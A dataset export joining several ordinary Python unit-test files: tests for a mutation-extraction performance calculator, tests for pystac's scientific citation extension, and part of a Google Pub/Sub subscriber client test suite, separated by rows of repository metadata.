# Two extra mutations tallied as two FalsePositives
perf = self._pc.calculate_extracted_mentions(\
{'3476160':{PointMutation(42,'L','Y'):2},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,2)
self.assertEqual(perf.FalseNegative,14)
self.assertEqual(perf.TrueNegative,None)
perf = self._pc.calculate_extracted_mentions(\
{'3476160':{PointMutation(42,'L','Y'):1},\
'14500716':{PointMutation(33,'P','T'):1},\
'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,2)
self.assertEqual(perf.FalseNegative,14)
self.assertEqual(perf.TrueNegative,None)
def test_document_retrieval_blank_input(self):
"""PC: Document Retrieval functions with no extracted mutations
"""
# Functions with no extracted mutations
perf = self._pc.calculate_document_retrieval(\
self._blank_mutation_data)
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,3)
self.assertEqual(perf.TrueNegative,1)
def test_document_retrieval_blank_gs(self):
"""PC: Document Retrieval functions with no gold standard mutations
"""
# Functions with an empty gold standard dict
pc = PerformanceCalculator(self._blank_mutation_data)
perf = pc.calculate_document_retrieval(\
self._gold_standard_data)
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,3)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,1)
def test_document_retrieval_perfect_input(self):
"""PC: Document Retrieval functions with perfect extracted mutations
"""
# Functions with perfect input (i.e. equal to the gold standard)
perf = self._pc.calculate_document_retrieval(\
self._gold_standard_data)
self.assertEqual(perf.TruePositive,3)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,1)
def test_document_retrieval_invalid_input(self):
"""PC: Document Retrieval handles invalid input correctly
"""
# Handles gold-standard and extractor output which does
# not completely overlap correctly -- this is explictly
# not allowed because it is not clear how it should be
# handled
pc = PerformanceCalculator({'1':{},'2':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_document_retrieval,{'1':{},'3':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_document_retrieval,{'1':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_document_retrieval,{'1':{},'2':{},'3':{}})
def test_document_retrieval_varied_input(self):
"""PC: Document Retrieval functions with varied extracted mutations
"""
#
perf = self._pc.calculate_document_retrieval(\
{'3476160':{PointMutation(22,'T','C'):1},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,2)
self.assertEqual(perf.TrueNegative,1)
# An extra count has no effect
perf = self._pc.calculate_document_retrieval(\
{'3476160':{PointMutation(22,'T','C'):2},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,2)
self.assertEqual(perf.TrueNegative,1)
# ...and two extra counts has no effect
perf = self._pc.calculate_document_retrieval(\
{'3476160':{PointMutation(22,'T','C'):3},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,2)
self.assertEqual(perf.TrueNegative,1)
# One missing count has no effect
perf = self._pc.calculate_document_retrieval(\
{'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 3}})
self.assertEqual(perf.TruePositive,3)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,1)
# Two missing counts has no effect
perf = self._pc.calculate_document_retrieval(\
{'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 2}})
self.assertEqual(perf.TruePositive,3)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,1)
# Incorrect mutations still counts as a TP document
perf = self._pc.calculate_document_retrieval(\
{'3476160':{PointMutation(42,'L','Y'):1},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,2)
self.assertEqual(perf.TrueNegative,1)
# False Positive/TrueNegative tallied correctly
perf = self._pc.calculate_document_retrieval(\
{'3476160':{},'14500716':{PointMutation(42,'L','Y'):1},\
'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,1)
self.assertEqual(perf.FalseNegative,3)
self.assertEqual(perf.TrueNegative,0)
def test_normalized_mutations_blank_input(self):
"""PC: Normalized Mutations functions with no extracted mutations
"""
# Functions with no extracted mutations
perf = self._pc.calculate_normalized_mutations(\
self._blank_mutation_data)
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,6)
self.assertEqual(perf.TrueNegative,None)
def test_normalized_mutations_blank_gs(self):
"""PC: Normalized Mutations functions with no gold standard mutations
"""
# Functions with an empty gold standard dict
pc = PerformanceCalculator(self._blank_mutation_data)
perf = pc.calculate_normalized_mutations(\
self._gold_standard_data)
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,6)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,None)
def test_normalized_mutations_perfect_input(self):
"""PC: Normalized Mutations functions with perfect extracted mutations
"""
# Functions with perfect input (i.e. equal to the gold standard)
perf = self._pc.calculate_normalized_mutations(\
self._gold_standard_data)
self.assertEqual(perf.TruePositive,6)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,None)
def test_normalized_mutations_invalid_input(self):
"""PC: Normalized Mutations handles invalid input correctly
"""
# Handles gold-standard and extractor output which does
# not completely overlap correctly -- this is explictly
# not allowed because it is not clear how it should be
# handled
pc = PerformanceCalculator({'1':{},'2':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_normalized_mutations,{'1':{},'3':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_normalized_mutations,{'1':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_normalized_mutations,{'1':{},'2':{},'3':{}})
def test_normalized_mutations_varied_input(self):
"""PC: Normalized Mutations functions with varied extracted mutations
"""
#
perf = self._pc.calculate_normalized_mutations(\
{'3476160':{PointMutation(22,'T','C'):1},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,5)
self.assertEqual(perf.TrueNegative,None)
# An extra count has no effect
perf = self._pc.calculate_normalized_mutations(\
{'3476160':{PointMutation(22,'T','C'):2},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,5)
self.assertEqual(perf.TrueNegative,None)
# ...and two extra counts have no effect
perf = self._pc.calculate_normalized_mutations(\
{'3476160':{PointMutation(22,'T','C'):3},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,5)
self.assertEqual(perf.TrueNegative,None)
# One missing count has no effect
perf = self._pc.calculate_normalized_mutations(\
{'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 3}})
self.assertEqual(perf.TruePositive,6)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,None)
# Two missing counts have no effect
perf = self._pc.calculate_normalized_mutations(\
{'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 2}})
self.assertEqual(perf.TruePositive,6)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,None)
# One extra mutation tallied as one FalsePositive
perf = self._pc.calculate_normalized_mutations(\
{'3476160':{PointMutation(42,'L','Y'):1},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,1)
self.assertEqual(perf.FalseNegative,6)
self.assertEqual(perf.TrueNegative,None)
# Two counts of one extra mutation tallied as one FalsePositive
perf = self._pc.calculate_normalized_mutations(\
{'3476160':{PointMutation(42,'L','Y'):2},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,1)
self.assertEqual(perf.FalseNegative,6)
self.assertEqual(perf.TrueNegative,None)
# Two extra mutations tallied as two FalsePositives
perf = self._pc.calculate_normalized_mutations(\
{'3476160':{PointMutation(42,'L','Y'):1},\
'14500716':{PointMutation(33,'P','T'):1},\
'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,2)
self.assertEqual(perf.FalseNegative,6)
self.assertEqual(perf.TrueNegative,None)
class ScriptTests(TestCase):
""" Tests of the script functionality """
def setUp(self):
""" Set up variables for the tests """
self._fake_gold_standard_file = fake_gold_standard_file.split('\n')
self._fake_gold_standard_file_w_spans = \
fake_gold_standard_file_w_spans.split('\n')
self._gold_standard_data = gold_standard_data
def test_parse_extraction_data(self):
""" parse_extraction_data correctly parses input file format
"""
self.assertEqual(parse_extraction_data(self._fake_gold_standard_file),\
self._gold_standard_data)
# Spans handled correctly
self.assertEqual(parse_extraction_data(\
self._fake_gold_standard_file_w_spans),self._gold_standard_data)
if __name__ == "__main__":
fake_gold_standard_file = """3476160\tT22C\tS87C
14500716
12206666\tD95A\tD95A\tD95A\tD95E\tD95E\tD95A\tD95N\tD95N
11327835\tH64A\tH64A\tH64A\tH64A"""
fake_gold_standard_file_w_spans = \
"""3476160\tT22C:0,4\tS87C:9,15
14500716
12206666\tD95A:4,12\tD95A:22,33\tD95A:44,55\tD95E:55,66\tD95E:0,4\tD95A:99,100\tD95N:1000,1006\tD95N:99,104
11327835\tH64A:66,72\tH64A:42,45\tH64A:6,9999\tH64A:88,99"""
gold_standard_data = {\
'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 4}\
}
main()
| 45.528523
| 115
| 0.637037
| 2,938
| 27,135
| 5.753914
| 0.099387
| 0.130435
| 0.143863
| 0.050873
| 0.846673
| 0.810707
| 0.770127
| 0.726826
| 0.664005
| 0.621769
| 0
| 0.078193
| 0.234605
| 27,135
| 595
| 116
| 45.605042
| 0.73576
| 0.170407
| 0
| 0.708029
| 0
| 0
| 0.057099
| 0.011547
| 0
| 0
| 0
| 0
| 0.440389
| 1
| 0.07056
| false
| 0
| 0.007299
| 0
| 0.085158
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
be32f7741df4b5bb02637b27337b6100b1d30357
| 13,431
|
py
|
Python
|
tests/extensions/test_scientific.py
|
emmanuelmathot/pystac
|
6552327f30658d25972c97024ed71865ed131e52
|
[
"Apache-2.0"
] | null | null | null |
tests/extensions/test_scientific.py
|
emmanuelmathot/pystac
|
6552327f30658d25972c97024ed71865ed131e52
|
[
"Apache-2.0"
] | null | null | null |
tests/extensions/test_scientific.py
|
emmanuelmathot/pystac
|
6552327f30658d25972c97024ed71865ed131e52
|
[
"Apache-2.0"
] | null | null | null |
"""Tests for pystac.tests.extensions.scientific."""
import datetime
import unittest
import pystac
from pystac.extensions import scientific
URL_TEMPLATE = 'http://example.com/catalog/%s.json'
DOI_BASE_URL = 'https://doi.org/'
DOI = '10.5061/dryad.s2v81.2'
DOI_URL = DOI_BASE_URL + DOI
CITATION = 'Some citation string'
PUB1_DOI = '10.1234/first'
PUB1_DOI_URL = DOI_BASE_URL + PUB1_DOI
PUB2_DOI = '10.2345/second'
PUB2_DOI_URL = DOI_BASE_URL + PUB2_DOI
PUBLICATIONS = [
scientific.Publication(PUB1_DOI, 'First citation.'),
scientific.Publication(PUB2_DOI, 'Second citation.')
]
def make_item() -> pystac.Item:
asset_id = 'USGS/GAP/CONUS/2011'
start = datetime.datetime(2011, 1, 2)
item = pystac.Item(id=asset_id, geometry=None, bbox=None, datetime=start, properties={})
item.set_self_href(URL_TEMPLATE % 2011)
item.ext.enable(pystac.Extensions.SCIENTIFIC)
return item
class ScientificItemExtTest(unittest.TestCase):
def setUp(self):
super().setUp()
self.item = make_item()
self.item.ext.enable(pystac.Extensions.SCIENTIFIC)
def test_stac_extensions(self):
self.assertEqual([pystac.Extensions.SCIENTIFIC], self.item.stac_extensions)
def test_doi(self):
self.item.ext.scientific.apply(DOI)
self.assertEqual(DOI, self.item.ext.scientific.doi)
self.assertIn(scientific.DOI, self.item.properties)
link = self.item.get_links(scientific.CITE_AS)[0]
self.assertEqual(DOI_URL, link.get_href())
self.item.validate()
# Check that setting the doi does not cause extra links.
# Same doi.
self.item.ext.scientific.doi = DOI
self.assertEqual(1, len(self.item.get_links(scientific.CITE_AS)))
self.item.validate()
# Different doi.
self.item.ext.scientific.doi = PUB1_DOI
self.assertEqual(1, len(self.item.get_links(scientific.CITE_AS)))
link = self.item.get_links(scientific.CITE_AS)[0]
self.assertEqual(PUB1_DOI_URL, link.get_href())
self.item.validate()
def test_citation(self):
self.item.ext.scientific.apply(citation=CITATION)
self.assertEqual(CITATION, self.item.ext.scientific.citation)
self.assertIn(scientific.CITATION, self.item.properties)
self.assertFalse(self.item.get_links(scientific.CITE_AS))
self.item.validate()
def test_publications_one(self):
publications = PUBLICATIONS[:1]
self.item.ext.scientific.apply(publications=publications)
self.assertEqual([1], [int('1')])
self.assertEqual(publications, self.item.ext.scientific.publications)
self.assertIn(scientific.PUBLICATIONS, self.item.properties)
links = self.item.get_links(scientific.CITE_AS)
doi_urls = [link.get_href() for link in links]
expected = [PUB1_DOI_URL]
self.assertCountEqual(expected, doi_urls)
self.item.validate()
def test_publications(self):
self.item.ext.scientific.apply(publications=PUBLICATIONS)
self.assertEqual(PUBLICATIONS, self.item.ext.scientific.publications)
self.assertIn(scientific.PUBLICATIONS, self.item.properties)
links = self.item.get_links(scientific.CITE_AS)
doi_urls = [link.get_href() for link in links]
expected = [PUB1_DOI_URL, PUB2_DOI_URL]
self.assertCountEqual(expected, doi_urls)
self.item.validate()
def test_remove_publication_one(self):
publications = PUBLICATIONS[:1]
self.item.ext.scientific.apply(DOI, publications=publications)
self.item.ext.scientific.remove_publication(publications[0])
self.assertFalse(self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.item.validate()
def test_remove_all_publications_one(self):
publications = PUBLICATIONS[:1]
self.item.ext.scientific.apply(DOI, publications=publications)
self.item.ext.scientific.remove_publication()
self.assertFalse(self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.item.validate()
def test_remove_publication_forward(self):
self.item.ext.scientific.apply(DOI, publications=PUBLICATIONS)
self.item.ext.scientific.remove_publication(PUBLICATIONS[0])
self.assertEqual([PUBLICATIONS[1]], self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(2, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.assertEqual(PUB2_DOI_URL, links[1].target)
self.item.validate()
self.item.ext.scientific.remove_publication(PUBLICATIONS[1])
self.assertFalse(self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.item.validate()
def test_remove_publication_reverse(self):
self.item.ext.scientific.apply(DOI, publications=PUBLICATIONS)
self.item.ext.scientific.remove_publication(PUBLICATIONS[1])
self.assertEqual([PUBLICATIONS[0]], self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(2, len(links))
self.assertEqual(PUB1_DOI_URL, links[1].target)
self.item.validate()
self.item.ext.scientific.remove_publication(PUBLICATIONS[0])
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.item.validate()
def test_remove_all_publications_with_some(self):
self.item.ext.scientific.apply(DOI, publications=PUBLICATIONS)
self.item.ext.scientific.remove_publication()
self.assertFalse(self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.item.validate()
def test_remove_all_publications_with_none(self):
self.item.ext.scientific.apply(DOI)
self.item.ext.scientific.remove_publication()
self.assertFalse(self.item.ext.scientific.publications)
links = self.item.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.item.validate()
def make_collection() -> pystac.Collection:
asset_id = 'my/thing'
start = datetime.datetime(2018, 8, 24)
end = start + datetime.timedelta(5, 4, 3, 2, 1)
bboxes = [[-180, -90, 180, 90]]
spatial_extent = pystac.SpatialExtent(bboxes)
temporal_extent = pystac.TemporalExtent([[start, end]])
extent = pystac.Extent(spatial_extent, temporal_extent)
collection = pystac.Collection(asset_id, 'desc', extent)
collection.set_self_href(URL_TEMPLATE % 2019)
collection.ext.enable(pystac.Extensions.SCIENTIFIC)
return collection
class ScientificCollectionExtTest(unittest.TestCase):
def setUp(self):
super().setUp()
self.collection = make_collection()
self.collection.ext.enable(pystac.Extensions.SCIENTIFIC)
def test_stac_extensions(self):
self.assertEqual([pystac.Extensions.SCIENTIFIC], self.collection.stac_extensions)
def test_doi(self):
self.collection.ext.scientific.apply(DOI)
self.assertEqual(DOI, self.collection.ext.scientific.doi)
self.assertIn(scientific.DOI, self.collection.extra_fields)
link = self.collection.get_links(scientific.CITE_AS)[0]
self.assertEqual(DOI_URL, link.get_href())
self.collection.validate()
# Check that setting the doi does not cause extra links.
# Same doi.
self.collection.ext.scientific.doi = DOI
self.assertEqual(1, len(self.collection.get_links(scientific.CITE_AS)))
self.collection.validate()
# Different doi.
self.collection.ext.scientific.doi = PUB1_DOI
self.assertEqual(1, len(self.collection.get_links(scientific.CITE_AS)))
link = self.collection.get_links(scientific.CITE_AS)[0]
self.assertEqual(PUB1_DOI_URL, link.get_href())
self.collection.validate()
def test_citation(self):
self.collection.ext.scientific.apply(citation=CITATION)
self.assertEqual(CITATION, self.collection.ext.scientific.citation)
self.assertIn(scientific.CITATION, self.collection.extra_fields)
self.assertFalse(self.collection.get_links(scientific.CITE_AS))
self.collection.validate()
def test_publications_one(self):
publications = PUBLICATIONS[:1]
self.collection.ext.scientific.apply(publications=publications)
self.assertEqual(publications, self.collection.ext.scientific.publications)
self.assertIn(scientific.PUBLICATIONS, self.collection.extra_fields)
links = self.collection.get_links(scientific.CITE_AS)
doi_urls = [link.get_href() for link in links]
expected = [PUB1_DOI_URL]
self.assertCountEqual(expected, doi_urls)
self.collection.validate()
def test_publications(self):
self.collection.ext.scientific.apply(publications=PUBLICATIONS)
self.assertEqual(PUBLICATIONS, self.collection.ext.scientific.publications)
self.assertIn(scientific.PUBLICATIONS, self.collection.extra_fields)
links = self.collection.get_links(scientific.CITE_AS)
doi_urls = [link.get_href() for link in links]
expected = [PUB1_DOI_URL, PUB2_DOI_URL]
self.assertCountEqual(expected, doi_urls)
self.collection.validate()
def test_remove_publication_one(self):
publications = PUBLICATIONS[:1]
self.collection.ext.scientific.apply(DOI, publications=publications)
self.collection.ext.scientific.remove_publication(publications[0])
self.assertFalse(self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.collection.validate()
def test_remove_all_publications_one(self):
publications = PUBLICATIONS[:1]
self.collection.ext.scientific.apply(DOI, publications=publications)
self.collection.ext.scientific.remove_publication()
self.assertFalse(self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.collection.validate()
def test_remove_publication_forward(self):
self.collection.ext.scientific.apply(DOI, publications=PUBLICATIONS)
self.collection.ext.scientific.remove_publication(PUBLICATIONS[0])
self.assertEqual([PUBLICATIONS[1]], self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(2, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.assertEqual(PUB2_DOI_URL, links[1].target)
self.collection.validate()
self.collection.ext.scientific.remove_publication(PUBLICATIONS[1])
self.assertFalse(self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.collection.validate()
def test_remove_publication_reverse(self):
self.collection.ext.scientific.apply(DOI, publications=PUBLICATIONS)
self.collection.ext.scientific.remove_publication(PUBLICATIONS[1])
self.assertEqual([PUBLICATIONS[0]], self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(2, len(links))
self.assertEqual(PUB1_DOI_URL, links[1].target)
self.collection.validate()
self.collection.ext.scientific.remove_publication(PUBLICATIONS[0])
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.collection.validate()
def test_remove_all_publications_with_some(self):
self.collection.ext.scientific.apply(DOI, publications=PUBLICATIONS)
self.collection.ext.scientific.remove_publication()
self.assertFalse(self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.collection.validate()
def test_remove_all_publications_with_none(self):
self.collection.ext.scientific.apply(DOI)
self.collection.ext.scientific.remove_publication()
self.assertFalse(self.collection.ext.scientific.publications)
links = self.collection.get_links(scientific.CITE_AS)
self.assertEqual(1, len(links))
self.assertEqual(DOI_URL, links[0].target)
self.collection.validate()
if __name__ == '__main__':
unittest.main()
| 41.073394
| 92
| 0.705532
| 1,618
| 13,431
| 5.704574
| 0.077256
| 0.058072
| 0.038137
| 0.070531
| 0.886891
| 0.869772
| 0.84182
| 0.83662
| 0.779198
| 0.752654
| 0
| 0.013455
| 0.180999
| 13,431
| 326
| 93
| 41.199387
| 0.825636
| 0.015338
| 0
| 0.700389
| 0
| 0
| 0.014303
| 0.001589
| 0
| 0
| 0
| 0
| 0.315175
| 1
| 0.101167
| false
| 0
| 0.015564
| 0
| 0.132296
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
be5460b4868b32f2168884ed6f868ca839ea7776
| 159,877
|
py
|
Python
|
tests/unit/gapic/pubsub_v1/test_subscriber.py
|
stephaniewang526/python-pubsub
|
0b533807e2f81fce149f5d5e33c03fd379033255
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/pubsub_v1/test_subscriber.py
|
stephaniewang526/python-pubsub
|
0b533807e2f81fce149f5d5e33c03fd379033255
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/pubsub_v1/test_subscriber.py
|
stephaniewang526/python-pubsub
|
0b533807e2f81fce149f5d5e33c03fd379033255
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import mock
import grpc
from grpc.experimental import aio
import math
import pytest
from proto.marshal.rules.dates import DurationRule, TimestampRule
from google import auth
from google.api_core import client_options
from google.api_core import exceptions
from google.api_core import gapic_v1
from google.api_core import grpc_helpers
from google.api_core import grpc_helpers_async
from google.auth import credentials
from google.auth.exceptions import MutualTLSChannelError
from google.iam.v1 import iam_policy_pb2 as iam_policy # type: ignore
from google.iam.v1 import options_pb2 as options # type: ignore
from google.iam.v1 import policy_pb2 as policy # type: ignore
from google.oauth2 import service_account
from google.protobuf import duration_pb2 as duration # type: ignore
from google.protobuf import field_mask_pb2 as field_mask # type: ignore
from google.protobuf import timestamp_pb2 as timestamp # type: ignore
from google.pubsub_v1.services.subscriber import SubscriberAsyncClient
from google.pubsub_v1.services.subscriber import SubscriberClient
from google.pubsub_v1.services.subscriber import pagers
from google.pubsub_v1.services.subscriber import transports
from google.pubsub_v1.types import pubsub
def client_cert_source_callback():
return b"cert bytes", b"key bytes"
# If default endpoint is localhost, then default mtls endpoint will be the same.
# This method modifies the default endpoint so the client can produce a different
# mtls endpoint for endpoint testing purposes.
def modify_default_endpoint(client):
return (
"foo.googleapis.com"
if ("localhost" in client.DEFAULT_ENDPOINT)
else client.DEFAULT_ENDPOINT
)
def test__get_default_mtls_endpoint():
api_endpoint = "example.googleapis.com"
api_mtls_endpoint = "example.mtls.googleapis.com"
sandbox_endpoint = "example.sandbox.googleapis.com"
sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com"
non_googleapi = "api.example.com"
assert SubscriberClient._get_default_mtls_endpoint(None) is None
assert (
SubscriberClient._get_default_mtls_endpoint(api_endpoint) == api_mtls_endpoint
)
assert (
SubscriberClient._get_default_mtls_endpoint(api_mtls_endpoint)
== api_mtls_endpoint
)
assert (
SubscriberClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
SubscriberClient._get_default_mtls_endpoint(sandbox_mtls_endpoint)
== sandbox_mtls_endpoint
)
assert SubscriberClient._get_default_mtls_endpoint(non_googleapi) == non_googleapi
@pytest.mark.parametrize("client_class", [SubscriberClient, SubscriberAsyncClient])
def test_subscriber_client_from_service_account_file(client_class):
creds = credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_file"
) as factory:
factory.return_value = creds
client = client_class.from_service_account_file("dummy/file/path.json")
assert client._transport._credentials == creds
client = client_class.from_service_account_json("dummy/file/path.json")
assert client._transport._credentials == creds
assert client._transport._host == "pubsub.googleapis.com:443"
def test_subscriber_client_get_transport_class():
transport = SubscriberClient.get_transport_class()
assert transport == transports.SubscriberGrpcTransport
transport = SubscriberClient.get_transport_class("grpc")
assert transport == transports.SubscriberGrpcTransport
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(SubscriberClient, transports.SubscriberGrpcTransport, "grpc"),
(
SubscriberAsyncClient,
transports.SubscriberGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
@mock.patch.object(
SubscriberClient, "DEFAULT_ENDPOINT", modify_default_endpoint(SubscriberClient)
)
@mock.patch.object(
SubscriberAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(SubscriberAsyncClient),
)
def test_subscriber_client_client_options(
client_class, transport_class, transport_name
):
# Check that if channel is provided we won't create a new one.
with mock.patch.object(SubscriberClient, "get_transport_class") as gtc:
transport = transport_class(credentials=credentials.AnonymousCredentials())
client = client_class(transport=transport)
gtc.assert_not_called()
# Check that if channel is provided via str we will create a new one.
with mock.patch.object(SubscriberClient, "get_transport_class") as gtc:
client = client_class(transport=transport_name)
gtc.assert_called()
# Check the case api_endpoint is provided.
options = client_options.ClientOptions(api_endpoint="squid.clam.whelk")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
api_mtls_endpoint="squid.clam.whelk",
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS is
# "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "never"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
)
